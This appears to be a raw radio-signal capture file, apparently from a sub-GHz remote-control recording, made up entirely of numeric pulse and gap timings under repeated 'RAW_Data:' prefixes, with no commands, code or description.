141 -362 105 -336 127 -354 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3702 133 -360 101 -358 107 -338 357 -140 335 -128 327 -138 361 -106 341 -100 135 -352 355 -106 345 -104 361 -94 121 -372 103 -366 93 -396 331 -132 103 -358 105 -370 93 -392 103 -360 103 -382 105 -336 353 -138 335 -94 125 -3708 131 -358 101 -358 107 -370 329 -142 335 -126 329 -140 361 -106 341 -102 133 -350 341 -96 369 -96 369 -96 125 -356 127 -340 129 -338 349 -122 141 -342 135 -334 123 -372 95 -372 95 -372 97 -372 345 -94 391 -104 105 -3704 139 -338 133 -332 123 -360 329 -122 337 -128 337 -128 337 -128 337 -124 123 -348 349 -132 329 -124 337 -126 123 -338 133 -366 91 -380 319 -134 141 -360 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 105 -370 327 -140 335 -94 359 -138 361 -106 341 -102 135 -350 357 -106 347 -102 363 -92 121 -374 101 -370 91 -396 329 -134 101 -358 107 -368 93 -394 101 -360 103 -382 105 -336 353 -140 333 -94 125 -3708 131 -356 101 -396 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 125 -344 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 -RAW_Data: 347 -124 337 -128 121 -3712 99 -392 103 -356 105 -368 327 -140 335 -94 357 -140 359 -106 343 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 125 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -126 121 -3706 131 -340 129 -338 129 -340 347 -124 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 329 -124 337 -128 121 -338 133 -366 91 -380 349 -104 139 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 325 -140 335 -96 357 -140 361 -104 343 -100 135 -352 353 -92 365 -106 335 -124 123 -352 139 -334 125 -370 331 -134 101 -358 107 -368 93 -394 101 -362 101 -384 103 -336 355 -140 333 -94 139 -3716 97 -358 137 -352 105 -338 355 -140 335 -94 357 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 133 -354 103 -358 143 -334 331 -142 335 -128 329 -140 359 -106 343 -102 133 -350 343 -96 369 -96 369 -94 125 -358 125 -340 129 -370 315 -124 139 -342 137 -334 123 -372 95 -372 97 -372 95 -372 347 -124 361 -104 103 -3728 105 -368 97 -360 125 -338 349 -132 331 -124 335 -128 337 -130 337 -126 127 -350 351 -102 337 -122 341 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -340 129 -338 349 -124 337 -128 121 -3702 131 -340 127 -340 129 -340 347 -124 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -102 141 -362 105 -334 127 -358 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 131 -356 103 -394 105 -334 365 -108 335 -128 319 -124 369 -98 337 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3702 131 -342 129 -338 129 -340 347 -124 339 -126 339 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -104 139 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 -RAW_Data: 327 -140 335 -126 329 -140 359 -108 341 -102 135 -348 341 -128 337 -98 369 -94 125 -362 125 -340 129 -340 347 -122 123 -356 139 -334 125 -356 93 -372 129 -338 129 -340 347 -124 357 -104 141 -3714 103 -342 135 -334 123 -356 327 -124 383 -106 359 -108 337 -128 317 -126 121 -372 351 -106 345 -104 365 -92 139 -342 127 -358 125 -360 327 -122 121 -348 139 -334 125 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3710 99 -392 103 -358 107 -368 327 -140 335 -94 359 -138 361 -106 343 -100 137 -348 343 -96 369 -96 369 -94 125 -364 125 -340 129 -340 347 -122 123 -354 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -106 139 -3712 103 -342 137 -334 123 -354 359 -92 383 -104 361 -106 339 -128 319 -124 121 -372 353 -106 345 -104 365 -92 139 -342 127 -360 93 -370 349 -132 103 -358 141 -336 93 -384 93 -372 129 -338 129 -340 347 -122 339 -128 121 -3708 131 -360 103 -358 105 -370 325 -142 335 -126 327 -140 361 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 123 -360 139 -334 127 -354 95 -390 103 -356 107 -370 329 -140 337 -126 95 -3708 131 -346 127 -340 129 -338 347 -124 341 -126 337 -128 339 -128 335 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 91 -382 327 -126 131 -344 141 -334 93 -396 103 -362 103 -382 105 -336 353 -140 333 -94 125 -3708 131 -352 103 -394 105 -336 369 -106 337 -128 331 -140 361 -106 341 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3704 131 -344 129 -338 129 -372 315 -124 341 -126 337 -130 337 -128 337 -124 123 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 349 -122 339 -126 121 -3712 99 -392 103 -358 107 -368 327 -140 333 -96 357 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 357 -106 139 -3714 103 -340 137 -334 123 -356 327 -124 385 -106 359 -108 337 -96 347 -126 121 -372 353 -104 345 -104 365 -92 139 -342 127 -358 93 -390 327 -124 119 -350 137 -334 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3706 131 -358 103 -358 105 -370 331 -140 337 -126 329 -140 361 -104 341 -102 135 -352 -RAW_Data: 357 -106 345 -102 365 -92 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 127 -358 93 -392 101 -358 107 -368 331 -140 337 -128 95 -3712 131 -342 129 -338 129 -340 349 -122 359 -104 359 -108 337 -126 355 -104 141 -360 329 -126 349 -94 355 -140 103 -354 125 -340 129 -338 349 -124 119 -352 139 -336 125 -358 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 327 -142 359 -106 343 -102 133 -350 341 -128 337 -96 369 -96 125 -362 125 -340 129 -338 349 -122 123 -356 139 -334 127 -356 93 -372 129 -338 129 -340 349 -122 359 -104 139 -3682 137 -340 135 -334 123 -356 327 -124 383 -106 359 -108 337 -126 319 -124 123 -372 351 -106 345 -104 365 -94 139 -340 127 -358 125 -340 349 -132 103 -394 105 -336 125 -352 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 329 -140 359 -106 343 -102 135 -350 353 -94 363 -106 335 -124 123 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3712 99 -392 103 -358 107 -368 327 -140 335 -126 327 -140 361 -106 341 -102 135 -348 343 -126 339 -128 337 -126 93 -360 127 -340 129 -370 317 -122 123 -358 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -140 105 -3716 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 347 -126 121 -372 351 -106 345 -104 363 -94 139 -340 129 -358 93 -392 325 -124 119 -350 137 -334 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 131 -344 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -126 123 -3708 131 -360 103 -358 105 -370 327 -140 335 -128 327 -140 361 -104 341 -102 135 -354 353 -92 365 -104 337 -124 123 -354 139 -334 125 -356 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 125 -3734 97 -382 103 -360 103 -370 345 -106 337 -130 323 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 131 -360 101 -358 107 -368 329 -140 335 -126 329 -140 359 -106 343 -100 135 -348 341 -128 337 -130 337 -126 93 -358 127 -370 97 -372 -RAW_Data: 317 -122 141 -342 137 -334 123 -374 95 -358 135 -356 105 -368 325 -140 335 -126 95 -3706 131 -346 127 -372 97 -370 317 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -334 129 -356 93 -370 129 -338 129 -340 347 -124 339 -128 121 -3712 99 -394 101 -358 107 -368 327 -140 335 -96 357 -140 361 -106 341 -102 135 -352 353 -92 365 -104 339 -124 121 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3706 131 -356 103 -394 105 -334 365 -108 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -358 101 -358 143 -334 363 -108 337 -128 319 -124 369 -96 337 -128 127 -340 357 -140 335 -92 349 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 349 -122 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 327 -140 361 -106 341 -102 135 -352 353 -94 363 -106 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -342 127 -340 129 -340 347 -124 339 -126 339 -128 337 -128 337 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 93 -378 351 -104 139 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 133 -358 101 -358 107 -368 329 -142 335 -126 329 -140 361 -106 341 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -370 91 -396 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 99 -348 137 -360 105 -338 375 -106 337 -130 321 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 103 -336 129 -358 93 -370 129 -338 129 -340 347 -124 339 -128 121 -3706 131 -358 101 -358 143 -334 365 -106 337 -128 327 -142 359 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 97 -348 127 -370 97 -372 315 -122 375 -96 369 -96 337 -128 337 -126 123 -352 347 -132 331 -122 337 -128 121 -370 101 -366 93 -380 349 -104 141 -362 105 -336 127 -356 95 -370 129 -340 -RAW_Data: 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 105 -370 327 -142 335 -126 329 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 101 -362 101 -382 105 -336 355 -140 333 -94 125 -3734 97 -380 103 -360 105 -370 345 -106 339 -130 323 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 107 -370 329 -142 335 -128 329 -140 361 -106 341 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -358 93 -390 103 -356 107 -370 329 -142 337 -126 95 -3708 131 -346 127 -338 129 -372 315 -124 341 -128 337 -128 337 -128 337 -126 123 -350 347 -132 331 -124 337 -126 123 -370 101 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3712 99 -394 101 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -100 135 -352 353 -92 365 -106 335 -124 123 -354 139 -334 127 -356 349 -104 141 -362 105 -336 129 -356 93 -372 129 -338 131 -338 349 -122 341 -126 121 -3704 131 -354 103 -394 105 -336 367 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -358 103 -358 105 -370 329 -142 337 -126 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 355 -138 335 -94 125 -3740 97 -352 137 -360 103 -338 373 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3710 131 -358 103 -356 107 -370 329 -142 337 -126 329 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -370 93 -394 101 -362 101 -382 105 -336 355 -140 333 -94 125 -3740 97 -352 137 -360 105 -336 373 -108 337 -128 319 -126 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -358 103 -358 -RAW_Data: 107 -370 329 -140 337 -128 329 -140 359 -106 343 -100 135 -352 357 -106 345 -104 363 -94 119 -374 101 -370 91 -386 349 -104 141 -362 105 -336 127 -358 93 -390 103 -358 105 -370 329 -142 337 -126 95 -3708 131 -346 127 -372 95 -372 315 -124 341 -128 337 -128 337 -128 337 -126 123 -352 347 -132 331 -122 337 -128 121 -340 131 -366 93 -380 349 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 131 -354 101 -396 103 -336 369 -108 335 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -108 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 123 -3712 131 -360 101 -358 107 -368 329 -140 335 -128 327 -140 361 -106 341 -102 133 -348 343 -126 337 -130 337 -126 93 -366 137 -360 103 -344 355 -124 91 -374 129 -340 129 -338 129 -340 125 -362 139 -334 367 -108 337 -126 97 -3710 131 -352 137 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 347 -124 339 -126 123 -3702 131 -344 127 -340 129 -340 347 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3714 97 -394 103 -358 105 -370 327 -140 335 -126 329 -140 359 -106 343 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 131 -354 101 -394 105 -336 371 -106 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3702 131 -344 127 -340 129 -340 347 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 121 -340 133 -366 91 -380 349 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 353 -140 333 -94 127 -3712 131 -354 101 -396 105 -334 369 -106 339 -128 329 -140 361 -104 343 -102 -RAW_Data: 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 101 -358 107 -370 93 -382 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 131 -360 101 -360 105 -368 329 -140 335 -126 329 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -368 135 -362 103 -342 353 -124 93 -372 129 -340 129 -338 129 -340 125 -364 139 -334 365 -108 337 -128 95 -3716 131 -356 103 -394 105 -336 365 -106 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -354 101 -396 103 -336 369 -106 337 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -374 103 -360 103 -384 105 -334 353 -140 335 -94 125 -3732 99 -380 103 -360 103 -370 347 -106 339 -130 323 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3710 133 -358 101 -358 107 -370 327 -142 335 -128 327 -140 361 -106 341 -102 135 -346 343 -128 337 -130 337 -126 93 -366 139 -360 103 -342 355 -124 91 -374 129 -340 127 -340 127 -340 125 -364 139 -334 367 -106 337 -128 95 -3712 133 -352 135 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3702 133 -354 101 -394 105 -336 369 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 127 -3712 131 -354 101 -396 103 -336 369 -106 337 -128 331 -140 361 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -370 123 -352 351 -102 141 -364 105 -334 129 -358 93 -390 103 -356 143 -334 363 -108 335 -128 95 -3738 99 -346 127 -372 97 -370 347 -92 375 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -122 339 -126 121 -340 131 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3704 131 -344 127 -340 129 -338 349 -122 341 -126 337 -130 337 -128 337 -124 123 -352 347 -132 331 -122 339 -126 121 -340 131 -366 -RAW_Data: 93 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3710 133 -358 101 -358 107 -370 329 -142 335 -128 329 -140 361 -104 343 -100 135 -352 357 -106 347 -104 361 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -336 129 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3734 99 -380 103 -360 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3714 99 -392 103 -358 105 -370 327 -140 337 -126 327 -140 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 125 -360 139 -334 127 -354 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -100 135 -352 353 -94 365 -104 337 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3708 131 -356 101 -396 105 -334 367 -106 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3704 131 -352 103 -394 105 -336 371 -108 335 -128 321 -126 369 -96 337 -128 127 -342 355 -140 335 -94 349 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 353 -140 335 -92 127 -3730 99 -348 127 -370 97 -372 347 -92 377 -96 369 -96 337 -128 339 -124 125 -350 347 -134 331 -124 337 -126 123 -338 131 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 331 -142 337 -126 329 -140 361 -104 343 -100 137 -352 357 -106 345 -104 361 -94 121 -372 103 -368 125 -366 329 -134 101 -358 107 -370 93 -394 101 -362 103 -382 105 -336 353 -140 335 -92 127 -3708 131 -350 137 -360 105 -336 373 -108 337 -128 365 -106 361 -106 341 -102 135 -354 353 -92 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3710 133 -356 103 -358 107 -370 329 -140 335 -128 329 -140 361 -106 341 -102 137 -352 357 -104 345 -104 363 -94 119 -374 101 -370 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 -RAW_Data: 103 -382 105 -336 353 -140 333 -94 127 -3740 97 -350 137 -360 103 -338 375 -108 337 -130 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 129 -356 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3708 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -370 123 -366 329 -134 103 -358 105 -370 93 -382 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3704 131 -354 103 -394 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 123 -3706 131 -358 101 -394 107 -334 367 -106 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 353 -140 335 -92 127 -3712 131 -352 103 -394 105 -334 371 -108 335 -130 329 -142 359 -106 343 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -370 123 -366 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3710 131 -352 137 -360 105 -334 373 -106 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 129 -358 103 -394 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -128 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3740 99 -348 137 -360 105 -336 375 -108 337 -130 319 -126 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 101 -368 93 -382 351 -102 141 -364 105 -334 129 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3710 133 -358 101 -358 107 -370 329 -140 335 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -104 361 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 93 -394 101 -362 103 -382 105 -336 353 -140 333 -94 127 -3738 99 -348 137 -360 105 -338 375 -106 337 -130 321 -124 369 -96 339 -128 125 -372 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 355 -138 335 -94 125 -3710 131 -352 -RAW_Data: 137 -360 105 -334 373 -106 337 -130 331 -140 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 119 -374 101 -370 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3740 97 -350 137 -360 103 -338 377 -106 337 -130 321 -124 369 -98 337 -128 125 -342 357 -140 333 -96 347 -126 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3702 131 -354 101 -396 103 -336 371 -106 337 -128 351 -94 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -358 103 -358 141 -334 365 -106 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3730 99 -348 127 -372 95 -372 347 -92 377 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -124 337 -128 121 -338 133 -366 93 -378 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -354 103 -394 105 -336 369 -106 337 -128 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 341 -126 121 -3706 131 -352 103 -394 105 -336 369 -108 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3710 131 -358 101 -358 107 -370 363 -108 337 -126 329 -140 361 -106 341 -102 135 -352 353 -92 365 -106 335 -126 121 -356 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -354 103 -394 105 -334 369 -106 337 -128 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -352 137 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 333 -96 347 -124 123 -372 101 -366 93 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3736 97 -382 103 -360 103 -370 347 -106 339 -130 323 -126 369 -96 -RAW_Data: 337 -128 127 -340 357 -140 335 -126 317 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3734 99 -382 101 -360 105 -370 347 -106 339 -130 323 -124 369 -98 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3740 99 -348 137 -360 105 -336 377 -106 339 -128 321 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -352 101 -396 105 -334 371 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 379 -94 121 -372 101 -366 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3708 133 -356 101 -394 105 -336 367 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 129 -354 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -368 331 -140 337 -128 327 -140 361 -106 341 -102 137 -348 341 -128 337 -130 337 -126 93 -366 137 -360 103 -342 355 -124 91 -374 129 -340 129 -338 129 -340 125 -362 139 -334 367 -108 337 -128 95 -3742 99 -350 135 -360 105 -338 375 -108 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -126 317 -124 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3704 131 -352 137 -360 105 -336 371 -106 339 -128 319 -126 369 -96 339 -128 125 -342 355 -140 335 -94 349 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3708 131 -356 103 -358 141 -336 365 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 349 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -356 103 -394 105 -334 367 -108 337 -128 329 -140 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3712 131 -352 135 -360 105 -336 373 -106 337 -130 319 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 -RAW_Data: 101 -366 93 -384 349 -104 141 -362 103 -336 129 -372 103 -360 103 